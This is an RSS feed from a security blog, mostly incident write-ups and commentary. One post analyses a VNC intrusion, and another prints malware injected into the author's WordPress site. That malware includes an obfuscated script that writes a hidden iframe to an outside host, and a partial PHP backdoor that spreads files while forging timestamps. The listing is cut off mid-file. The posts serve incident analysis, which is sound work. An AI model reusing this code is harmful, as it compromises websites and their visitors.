<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking &#8211; Phocean.net</title>
	<atom:link href="/tag/hacking/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>Computer Security Blog</description>
	<lastBuildDate>Fri, 24 Feb 2017 21:17:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.9.10</generator>
	<item>
		<title>A relative got hacked for scamming activities</title>
		<link>/2013/01/20/a-relative-got-hacked-for-scamming-activities.html</link>
		<pubDate>Sun, 20 Jan 2013 16:40:03 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[scam]]></category>
		<category><![CDATA[scammer]]></category>
		<category><![CDATA[scamming]]></category>
		<category><![CDATA[sqlite]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1474</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1474</guid>
		<description><![CDATA[One of my relative got hacked. After a phone conversation with him, I realized that his computer was hacked a few days before. He told me that he saw the mouse moving by itself, but what happened then was not clear to him. Anyway, he did not feel the urge to call me immediately. Needless to...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>One of my relative got hacked.</p>
<p>After a phone conversation with him, I realized that his computer was hacked a few days before. He told me that he saw the mouse moving by itself, but what happened then was not clear to him. Anyway, he did not feel the urge to call me immediately. Needless to say that his knowledge on computers is low.<br />
I immediately started to investigate.</p>
<h2>How the computer was hacked</h2>
<p>The computer is running Ubuntu . I suspected a vulnerability, but I soon realized that it was much simpler than that: by mistake, a VNC session was left opened!</p>
<p><em><strong>x11vnc</strong></em> with <strong><em>no authentication</em></strong> and <em><strong>no logging</strong></em>&#8230; Damned!</p>
<h2>What the attacker did</h2>
<p>What he tried first was to create a user to maintain access. But the scammer was probably low tech and soon abandonned.</p>
<p>Here is his sequence in the shell history:</p>
<pre>261 adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M xxxcx
262 useradd -d /home/xxxcx -m nokia00
263 passwd xxxcx</pre>
<p>Command <strong>#261</strong> failed, because of unproper syntax. I guess he meant useradd, as adduser on Debian/Ubuntu has totally different options. Note that what he was trying to do is create a new root user named xxxcx (with no home directory).</p>
<p>He probably did not realize his mistake, but yet tried this time useradd with fewer options in command <strong>#262</strong>. This time, he would create the home directory and name the user nokia00&#8230; Why not. Alas, the command can&#8217;t work as a standard user!</p>
<p>Then, command <strong>#263</strong>: he tried to change the current password, but again he failed as it is required to know it before updating it&#8230;</p>
<p>And that&#8217;s it. Pretty lame, isn&#8217;t it? He got quickly discouraged and started to use exclusively <em><strong>Firefox</strong></em>.</p>
<h2>On-line shopping</h2>
<p>With support of <a title="forensicswiki.org" href="http://www.forensicswiki.org/wiki/Mozilla_Firefox">forensicswiki.org</a>, I dumped the full Firefox profile on my computer and started to analyze it with the <a title="Sqlite Manager" href="https://addons.mozilla.org/fr/firefox/addon/sqlite-manager/">Sqlite Manager</a> extension.</p>
<blockquote><p>Sorry but I will be hiding private info and sensitive data that could be used for a legal action.</p></blockquote>
<p>I got most info from the files <em><strong>cookies.sqlite</strong></em> and <em><strong>places.sqlite</strong></em>.</p>
<div id="attachment_1482" style="width: 590px" class="wp-caption alignnone"><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html/cookies" rel="attachment wp-att-1482"><img class="size-medium wp-image-1482" alt="cookies.sqlite: a lot of info: email and billing info used by the attacker" src="/wp-content/uploads/2013/01/cookies-580x345.png" width="580" height="345" srcset="/wp-content/uploads/2013/01/cookies-580x345.png 580w, /wp-content/uploads/2013/01/cookies-940x560.png 940w, /wp-content/uploads/2013/01/cookies-500x298.png 500w, /wp-content/uploads/2013/01/cookies.png 1394w" sizes="(max-width: 580px) 100vw, 580px" /></a><p class="wp-caption-text">cookies.sqlite: a lot of info: email and billing info used by the attacker</p></div>
<div id="attachment_1483" style="width: 590px" class="wp-caption alignnone"><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html/places" rel="attachment wp-att-1483"><img class=" wp-image-1483 " title="places.sqlite" alt="places" src="/wp-content/uploads/2013/01/places-580x345.png" width="580" height="345" srcset="/wp-content/uploads/2013/01/places-580x345.png 580w, /wp-content/uploads/2013/01/places-940x560.png 940w, /wp-content/uploads/2013/01/places-500x298.png 500w, /wp-content/uploads/2013/01/places.png 1394w" sizes="(max-width: 580px) 100vw, 580px" /></a><p class="wp-caption-text">places.sqlite: attacker&#8217;s browsing history, with interesting purchase references in GET parameters</p></div>
<p>The guy didn&#8217;t loose time, he knew precisely what he wanted and what to do.</p>
<ol>
<li>He first visited two websites to localize the computer: <a title="ip2location.com" href="http://ip2location.com">ip2location.com</a> and <a title="ip-tracker.org" href="http://www.ip-tracker.org">ip-tracker.org</a>. You may think that it is a strange first move, but I will come back on that later as I have a theory.</li>
<li>Now that he knew in what country he was (country XXX), he started to do online shopping.</li>
</ol>
<p>It is interesting that his online shopping was all linked to web hosting:</p>
<ul>
<li>templates from dreamtemplates.com</li>
<li>a .net domain name (with however part of the prefix being localized accordingly to the country suffix).</li>
<li>hosting at netfirms.com and mg1host.com</li>
</ul>
<p>Note that the criminal used a online payment platform that I never heard about before: 2checkout.com aka 2co.com.</p>
<p>Unfortunately, when I investigated, all cookies were expired so I could not connect to the criminal&#8217;s account.</p>
<p>Yet, it still had some valuable info. The most interesting info I found was from a cookie from dreamtemplates.com. I got all the billing info used by the attacker:</p>
<ul>
<li>attacker&#8217;s gmail address (probably compromised or anonymous)</li>
<li>Name and address for the billing, that sounded real&#8230;</li>
</ul>
<p>Also, GET parameters in URLs were very interesting.</p>
<p>In some of them, you can guess the amount of the purchase he did. He for sure bought stuff for at least a total of 500$. But it is without counting the stuff that I cannot guess from URLs, so it is probably sensibly much more in reality.</p>
<p>But, even better, some had order ids. Hey, wait! Let&#8217;s have a look on the 2co website:</p>
<div id="attachment_1487" style="width: 474px" class="wp-caption alignnone"><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html/2co_order_review" rel="attachment wp-att-1487"><img class=" wp-image-1487 " alt="2co order review = order number + email" src="/wp-content/uploads/2013/01/2co_order_review-580x362.png" width="464" height="290" srcset="/wp-content/uploads/2013/01/2co_order_review-580x362.png 580w, /wp-content/uploads/2013/01/2co_order_review-480x300.png 480w, /wp-content/uploads/2013/01/2co_order_review.png 781w" sizes="(max-width: 464px) 100vw, 464px" /></a><p class="wp-caption-text">2co order review = order number + email</p></div>
<p>Hmmm&#8230; we have the email address and the order number&#8230; bingo!</p>
<p><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html/order" rel="attachment wp-att-1488"><img class="alignnone  wp-image-1488" alt="order" src="/wp-content/uploads/2013/01/order-580x911.png" width="406" height="638" srcset="/wp-content/uploads/2013/01/order-580x911.png 580w, /wp-content/uploads/2013/01/order-190x300.png 190w, /wp-content/uploads/2013/01/order.png 676w" sizes="(max-width: 406px) 100vw, 406px" /></a></p>
<p>Now, we have at least all info of the credit card owner, certainly the biggest victim in this mess.</p>
<h2>Conclusion</h2>
<p>That&#8217;s it for now. We are still in the process of transmitting the info to the police and alerting the victim.</p>
<p>Here are a few thoughts by the way:</p>
<ul>
<li>Logging, always logging! It is a pity that we know literally nothing about the scammer source ip address. All his actions were made from within a VNC session and it leaves no trace. He may have came from another proxy, but who knows&#8230; I still have a little hope that under legal request, the Internet provider of my relative will be able to provide some logs.</li>
</ul>
<ul>
<li>Nowadays, it is still difficult to report such a case to the police and to help the victim. The local police is at loss and does not really know what to do. The cyber section is slow to answer, probably crawling under requests (mostly spam stuff?).</li>
</ul>
<ul>
<li>Not every one has a computer specialist among friends or relatives. It must be a terrible experience to see the police coming to you for a fraud one hasn&#8217;t committed directly. Few people, even sometimes among IT professionals, understand that.</li>
</ul>
<ul>
<li>The criminal seemed low tech, but very organized at the same time.<br />
Here is my theory: he probably has a precise goal and is not loosing time.<br />
He follows a process: geo-localize the victim or target a country and choose accordingly financial data in his database.<br />
Then, he purchases stuff from a list of items he needs or he is requested.<br />
Finally, if he could not find a way to maintain access in seconds, he leaves. Mission done: this scammer is probably doing it full time, as a professional activity. Lame but efficient for the crime industry.</li>
</ul>
<ul>
<li>The credit card info was accompanied with private info: real name and address. We all know that but it is always shocking to think how it can easily obtained: compromised computer, hacked online shop or database, dishonest employee (e.g. at the hotel), etc.</li>
</ul>
<ul>
<li>The websites  will probably be used for more scamming and illegal activities. I am going to monitor the domain I got for a while.</li>
</ul>
<p>Keep wired for updates.</p>
]]></content:encoded>
			</item>
		<item>
		<title>SSTIC 2012</title>
		<link>/2012/06/10/sstic-2012.html</link>
		<pubDate>Sun, 10 Jun 2012 05:40:41 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Challenge]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[SSTIC]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1246</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1246</guid>
		<description><![CDATA[I came back from the 2012 edition of SSTIC, where despite the concerns, there were still some nice conferences. Until slides and papers are published, you can find some nice reports (all in French). But the most impressive will remain the challenge: look at the solution! What a hell! Just reading and trying to understand...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2012/06/10/sstic-2012.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>I came back from the 2012 edition of <a title="SSTIC" href="https://www.sstic.org">SSTIC</a>, where despite the concerns, there were still some nice conferences.</p>
<p>Until slides and papers are published, you can find <a title="SSTIC 2012" href="http://sid.rstack.org/blog/index.php/545-sstic-2012-deuxieme-jour">some</a> <a title="SSTIC 2012" href="/2012/04/14/hes-2012.html">nice</a> <a title="SSTIC 2012" href="/2012/04/14/hes-2012.html">reports</a> (all in French). But the most impressive will remain the challenge: look at the <a title="SSTIC 2012" href="http://www.time0ut.org/blog/challenge/challenge-sstic-2012/">solution</a>! What a hell! Just reading and trying to understand all details in the solution is still challenging!</p>
<p>Big respect for the guys who have the talent of going over so many tricks.</p>
]]></content:encoded>
			</item>
		<item>
		<title>World&#8217;s worst hacker</title>
		<link>/2011/01/31/worlds-worst-hacker.html</link>
		<comments>/2011/01/31/worlds-worst-hacker.html#comments</comments>
		<pubDate>Mon, 31 Jan 2011 18:44:20 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[honeypot]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1003</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1003</guid>
		<description><![CDATA[That was so funny !]]></description>
				<content:encoded><![CDATA[<p><a title="World's worst hacker" href="http://george.hedfors.com/content/worlds-worst-hacker" target="_blank">That</a> was so funny !</p>
]]></content:encoded>
			<wfw:commentRss>/2011/01/31/worlds-worst-hacker.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Books review</title>
		<link>/2010/05/16/books-review.html</link>
		<pubDate>Sun, 16 May 2010 16:16:46 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Defense]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Book]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Review]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=862</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=862</guid>
		<description><![CDATA[I just finished reading two electronic books I bought from O&#8217;reilly. Here is a short review on them. Hacking: the next generation The purpose of this book is to give to the readers an overview of the most common attacks nowadays. It covers all fields : social engineering, web attacks, networking, etc. It was easy...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2010/05/16/books-review.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>I just finished reading two electronic books I bought from O&#8217;reilly. Here is a short review on them.</p>
<h4>Hacking: the next generation</h4>
<p><a title="Hacking: the next generation" href="http://oreilly.com/catalog/9780596154585/" target="_blank"><img class="aligncenter size-full wp-image-863" title="hacking_next_gen" src="/wp-content/uploads/2010/05/hacking_next_gen.gif" alt="" width="180" height="236" /></a></p>
<p>The purpose of this book is to give to the readers an overview of the most common attacks nowadays. It covers all fields : social engineering, web attacks, networking, etc.<br />
It was easy to read : the authors are straight to the point and their sentences are clear.</p>
<p>I especially appreciated their state of art about XSS and CSRF attacks. It is certainly the best I have read so far, greatly illustrated with exciting and real case studies.</p>
<p>On the other hand,  I quickly passed over the networking stuff (both wired and wireless). It was too basic and didn&#8217;t show anything new &#8211; maybe it is because I specialize in those fields.</p>
<p>Anyway, globally, I strongly recommend this book. It is worth while your money if you want to know more on web attacks or to have a good overview of modern threats.</p>
<h4>Beautiful Security</h4>
<p><a title="Beautiful Security" href="http://oreilly.com/catalog/9780596527488/" target="_blank"><img class="aligncenter size-full wp-image-864" title="beautiful_sec" src="/wp-content/uploads/2010/05/beautiful_sec.gif" alt="" width="180" height="236" /></a></p>
<p>This is a collection of essays by some of the best security experts and hackers.</p>
<p>Well, I won&#8217;t go around, I have been quite disappointed by this book. The overall lacks coherence and after a while you start wondering what this book is trying to demonstrate. At the end, there is a crual lack of connection between the essays and it globally makes it appear very confusing.</p>
<p>It also sometimes lacks technical references and the writing style is too verbose, too literal for a technical book to be attractive.</p>
<p>There are however some good essays, like one about PGP (by Philip Zimmermann himself, though). It is hard to find some good and complete documentation about it, and this essay is definitely a good one, which I will probably read again when I feel the need of it.</p>
<p>But I wouldn&#8217;t recommend this book only for this short piece of writing. Lack of cohesion, too much litterature and not enough technical stuff actually bored me, though that&#8217;s just my personal taste.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Simulated massive cyber attack filmed by CNN</title>
		<link>/2010/02/18/simulated-massive-cyber-attack-filmed-by-cnn.html</link>
		<pubDate>Thu, 18 Feb 2010 07:32:10 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Defense]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=719</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=719</guid>
		<description><![CDATA[This video, while &#8220;amusing&#8221;, is quite interesting : Though not many details are given, I am quite skeptical about the possibility of such a massive attack. However, it shows well that security is not just a technical matter. It has many implications in law, politics, economics, and a whole information system must be prepared to...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2010/02/18/simulated-massive-cyber-attack-filmed-by-cnn.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>This video, while &#8220;amusing&#8221;, is quite interesting :</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.youtube.com/v/PJ0_Km7_s8I&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/PJ0_Km7_s8I&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Though not many details are given, I am quite skeptical about the possibility of such a massive attack.</p>
<p>However, it shows well that security is not just a technical matter. It has many implications in law, politics, economics, and a whole information system must be prepared to that, starting with our leaders.</p>
<p>That would be a HUGE effort for our politicians here in France &#8211; if they ever care&#8230;</p>
]]></content:encoded>
			</item>
		<item>
		<title>DecaffenatID : a little ARP IDS for Windows</title>
		<link>/2008/08/27/decaffenatid-a-little-arp-ids-for-windows.html</link>
		<pubDate>Wed, 27 Aug 2008 12:49:17 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Defense]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[arp]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[IDS]]></category>
		<category><![CDATA[IPS]]></category>
		<category><![CDATA[spoofing]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=115</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=115</guid>
		<description><![CDATA[DecaffeinatID is a tool for Windows that can be very useful against ARP attacks.]]></description>
				<content:encoded><![CDATA[<p><a title="DecaffeinatID" href="http://www.irongeek.com/i.php?page=security/decaffeinatid-simple-ids-arpwatch-for-windows">DecaffeinatID</a> is a tool for Windows that can be very useful against ARP attacks.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Windows Vista memory protection : defeated ?</title>
		<link>/2008/08/08/windows-vista-memory-protection-defeated.html</link>
		<comments>/2008/08/08/windows-vista-memory-protection-defeated.html#comments</comments>
		<pubDate>Fri, 08 Aug 2008 15:44:45 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Defense]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[memory injection]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=218</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=218</guid>
		<description><![CDATA[It seems, at least according to some researchers showed it at the Black Hat conference. Mark Dowd (IBM) and Alexander Sotirov (VMWare) found a way to bypass  the memory protection implemented in Vista to inject malicious instructions within Internet Explorer. They were able to copy any content wherever they wished on the disk. Especially, this...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2008/08/08/windows-vista-memory-protection-defeated.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>It seems, at least according to <a href="http://taossa.com/index.php/2008/08/07/impressing-girls-with-vista-memory-protection-bypasses/" target="_blank">some researchers showed it at the Black Hat conference</a>.</p>
<p>Mark Dowd (IBM) and Alexander Sotirov (VMWare) found a way to bypass  the memory protection implemented in Vista to inject malicious instructions within Internet Explorer. They were able to copy any content wherever they wished on the disk.</p>
<p>Especially, <a href="http://taossa.com/archive/bh08sotirovdowd.pdf" target="_blank">this paper</a> will be an interesting reading, even if it is not as simple as they say &#8211; at least for me.</p>
]]></content:encoded>
			<wfw:commentRss>/2008/08/08/windows-vista-memory-protection-defeated.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>About network attacks&#8230;</title>
		<link>/2008/06/23/about-network-attacks.html</link>
		<pubDate>Sun, 22 Jun 2008 23:56:08 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Network attack]]></category>
		<category><![CDATA[OSI]]></category>
		<category><![CDATA[RFC]]></category>
		<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=111</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=111</guid>
		<description><![CDATA[I will post later a few examples of network attacks. But, before that, I want to clarify what I call a network attack. I see many people making a confusion about the use of this term, even among professional or specialized journalists. Whenever there is a hack originated from the Internet, they call it a...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2008/06/23/about-network-attacks.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>I will post later a few examples of network attacks. But, before that, I want to clarify what I call a network attack.</p>
<p>I see many people making a confusion about the use of this term, even among professional or specialized journalists. Whenever there is a hack originated from the Internet, they call it a network attack.</p>
<p>This is a true misunderstanding of the reality. We will see why when a website is hacked, or a domain name spoofed, we can&#8217;t call it a network attack.</p>
<p>First of all, we need to have a good picture of the way the protocols of the Internet are organized.</p>
<p>We can visualize it with the <strong>OSI </strong>concept, whose scheme is below :</p>
<p style="text-align: center;"><a href="/wp-content/uploads/2008/06/osi.png" rel="lightbox[111]"><img class="size-medium wp-image-112" style="vertical-align: middle;" title="osi" src="/wp-content/uploads/2008/06/osi-300x270.png" alt="" width="300" height="270" srcset="/wp-content/uploads/2008/06/osi-300x270.png 300w, /wp-content/uploads/2008/06/osi.png 434w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>This model offers <strong>7 layers</strong> to contain all protocols involved in the data transportation, from the system or the program of a local computer to its peer on the other side of the network.</p>
<p><span id="more-111"></span></p>
<p>Actually, and to the contrary of another common belief, this model was never really applied on the Internet. Instead, a simplified model of 4 layers was chosen, <a href="http://en.wikipedia.org/wiki/Tcp/ip_model">the TCP/IP model</a>.</p>
<p>Anyway, acconding to this model, each data is encapsulated by the protocols of each layer from the top to the bottom before traveling on the network.</p>
<p>Normally, equipments between the sender and the recipient will not check the data upper than the transport layer. It means that to connect two peers through the Internet, protocols like <em>Ethernet, ARP, RIP, OSPF, IP, TCP</em> and <em>UDP</em> are used.</p>
<p>Protocols like <em>HTTP, DNS, FTP </em>and so many others belong  to the Application layer. Therefore, they are used to serve application, not to connect two peers from the network point of view.</p>
<p>Therefore, when a web server is attacked from the Internet, it is not a network attack. It is an application level attack : the network is just a vector, but the vulnerability is at the application level. It may concern the architecture or the conception of the application, but not the network.</p>
<p>So many popular attacks like brute force attacks to guess a password, exploits, shellcodes, DNS spoofing, PHP misconceptions, etc., are off the network attack categories.</p>
<p>Nowadays, as there are more and more services offered on the Internet, application attacks became the most popular and most efficient for attackers. However, if network attacks have been spectacular <a href="http://en.wikipedia.org/wiki/Mitnick" target="_blank">in the 90s and entered the history</a>, they are still efficient.</p>
<p>Among network attacks, we can differentiate two main categories : <em>protocol vulnerabilities</em> and <em>implementation weaknesses</em>. Of course, it is not that simple and some attacks are a combination of these categories.</p>
<h4 class="western">Protocol weaknesses</h4>
<p>Most of the protocols we use today were conceived in the 80s, or even before. At the name, the engineers never predicted such a growth of the Internet. They did not put much thinking on problems like scalability or security : their needs were very simple and basics, and Internet was very confidential, mostly connecting a few universities in the world.</p>
<p>The growth of the Internet have been so fast, that the protocols could not be adapted at the right pace to the new needs. Now, we inherit of conceptual security leaks at all OSI layers and there is nothing much being done against that.</p>
<h4 class="western">Implementation weaknesses</h4>
<p><a href="http://www.rfc-editor.org/" target="_blank">The RFC</a> put the bases to implement the protocol in the hardware or in the systems. It implies programming and therefore a classical development cycle : putting down the needs, interpreting the specifications, making arbitrary choices and finally coding. Of course, at any of these stages, there is a potential risk of human mistake, misconception, bug, buffer overflow, unexpected behaviour, etc. Some can be very critical for the whole security of the hardware or the system.</p>
<p>In that case, it is just like an application level vulnerability, but on the IP stack or the drivers handling the network packets. That leads to a network attack.</p>
<p>There is <a href="http://www.securityfocus.com/" target="_blank">a huge number of vulnerabilities</a>. All operating systems are concerned, as well as all hardware equipments (switches, routers, firewalls, etc.).</p>
<p>That&#8217;s it about this short introduction to network attacks. It does not aim to be complete, but just to put the basics of my next articles.</p>
<p>In the coming articles, we will see a few example of network attacks. In the next one, we will start from the bottom of the OSI model : <strong>physical layer attacks</strong>.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Hacked !</title>
		<link>/2008/06/03/hacked.html</link>
		<comments>/2008/06/03/hacked.html#comments</comments>
		<pubDate>Tue, 03 Jun 2008 20:25:25 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=109</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=109</guid>
		<description><![CDATA[This blog got hacked yesterday. It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress. It was not just like the classic SQL injection that is usually used to post some malicious post. The following code was added : &#60;?php echo '&#60;script type=&#34;text/javascript&#34;&#62;function count(str){var res = &#34;&#34;;for(i...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2008/06/03/hacked.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>This blog got hacked yesterday.</p>
<p>It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.<br />
It was not just like the classic SQL injection that is usually used to post some malicious post.</p>
<p>The following code was added :</p>
<pre>&lt;?php echo '&lt;script type=&quot;text/javascript&quot;&gt;function count(str){var res = &quot;&quot;;for(i = 0; i &lt; str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(&quot;&gt;khtcog\&quot;ute?jvvr&lt;11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\&quot;ykfvj?3\&quot;jgkijv?3\&quot;htcogdqtfgt?2@&quot;));&lt;/script&gt;';?&gt;</pre>
<p><span id="more-109"></span></p>
<p>It make me think that there is a serious vulnerability somewhere on WordPress or a plugin, though my versions were up-to-date.</p>
<p>Now the blog is back to normal, after a clean reinstallation (erased all the former files).</p>
<p><a title="Wordpress, hacked" href="http://wordpress.org/support/topic/179428/page/2" target="_blank">I am not the only one to experience this mess</a>.</p>
<p>For now, the blog is running with a minimal number of plugin &#8211; just akismet, actually &#8211; until the cause of that gets clearer.</p>
<p>Not a lot of plugins runned before, so it mainly means that the OpenID support for authentication is cut off.</p>
<p>As my php knowledge is very low, anyone having some tips is welcome. I love WordPress, I would like to avoid looking for another platform or switch to static html !</p>
<p>&#8212;</p>
<p><strong>UPDATE 06/13/2008 :</strong><br />
As C.S Lee suggested in a comment, there were a very suspicious wp-stats.php file in the root of my hacked archive.</p>
<p>There is the code :</p>
<pre>
&lt;?php

@error_reporting(E_ALL);
@set_time_limit(0);
mt_srand(crc32(microtime()));
  
  
define('SHCODE', 'PDaWYgKCRjb2RlID0gQGZyZWFkKEBmb3BlbigkSFRUCmVjaG8gIjwvcHJlPiI7Cj8+');

$pres = array('lib_','co_','pre_','net_','func_','ad_','ext_','new_','old_','fix_','fixed_','na_','av_','fx_');  
$fui = $pres[array_rand($pres)];

global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8, 7, 6, 6, 5, 5, 5, 5, 0);

function my_fwrite($f, $data) {
  global $CURFILE;
  $file_mtime = @filemtime($f);
  $file_atime = @fileatime($f);
  $dir_mtime = @filemtime(@dirname($f));
  $dir_atime = @fileatime(@dirname($f));
  if ($file_h = @fopen($f, &quot;wb&quot;)) {
    @fwrite($file_h, $data); @fclose($file_h);
    if ($file_mtime) {
      @touch($f, $file_mtime, $file_atime);
    } elseif (@filemtime($CURFILE)) {
      @chmod($f, @fileperms($CURFILE));
      @touch($f, @filemtime($CURFILE), @fileatime($CURFILE));
      @chgrp($f, @filegroup($CURFILE));
      @chown($f, @fileowner($CURFILE));
    };
    if ($dir_mtime) @touch(@dirname($f), $dir_mtime, $dir_atime);
    return $f;
  } else {
    return '';
  };
};

function ext($f) {
  return substr($f, strrpos($f, &quot;.&quot;) + 1);
};

function walkdir($p, $func='_walkdir', $l=0) {
  global $START;
  global $WD_TIMEOUT;
  global $FL;
  $func_f = &quot;{$func}_f&quot;;
  $func_d = &quot;{$func}_d&quot;;
  $func_s = &quot;{$func}_s&quot;;
  $func_e = &quot;{$func}_e&quot;;
  if ($dh = @opendir(&quot;$p&quot;)) {
    if (function_exists($func_s)) {
      if ($func_s($p, $l)) return 1;
    };
    while ($f = @readdir($dh)) {
      if (time() - $START &gt;= $WD_TIMEOUT[$l] ) break;
      if ($f == '.' || $f == '..' ) continue;
      if (@is_dir (&quot;$p$f/&quot;) ) walkdir(&quot;$p$f/&quot;, $func, $l+1);
      if (@is_dir (&quot;$p$f/&quot;) &amp;&amp; function_exists($func_d))
        $func_d(&quot;$p$f/&quot;, $l);
      if (@is_file(&quot;$p$f&quot; ) &amp;&amp; function_exists($func_f))
        $func_f(&quot;$p$f&quot; , $l);
    };
    closedir($dh);
    if (function_exists($func_e)) $func_e($p, $l);
  };
};

function r_cut($p) {
  global $R;
  return substr($p, strlen($R));
};

function say($t) {
  echo &quot;$t\n&quot;;
};

function testdata($t) {
  say(md5(&quot;mark_$t&quot;));
};

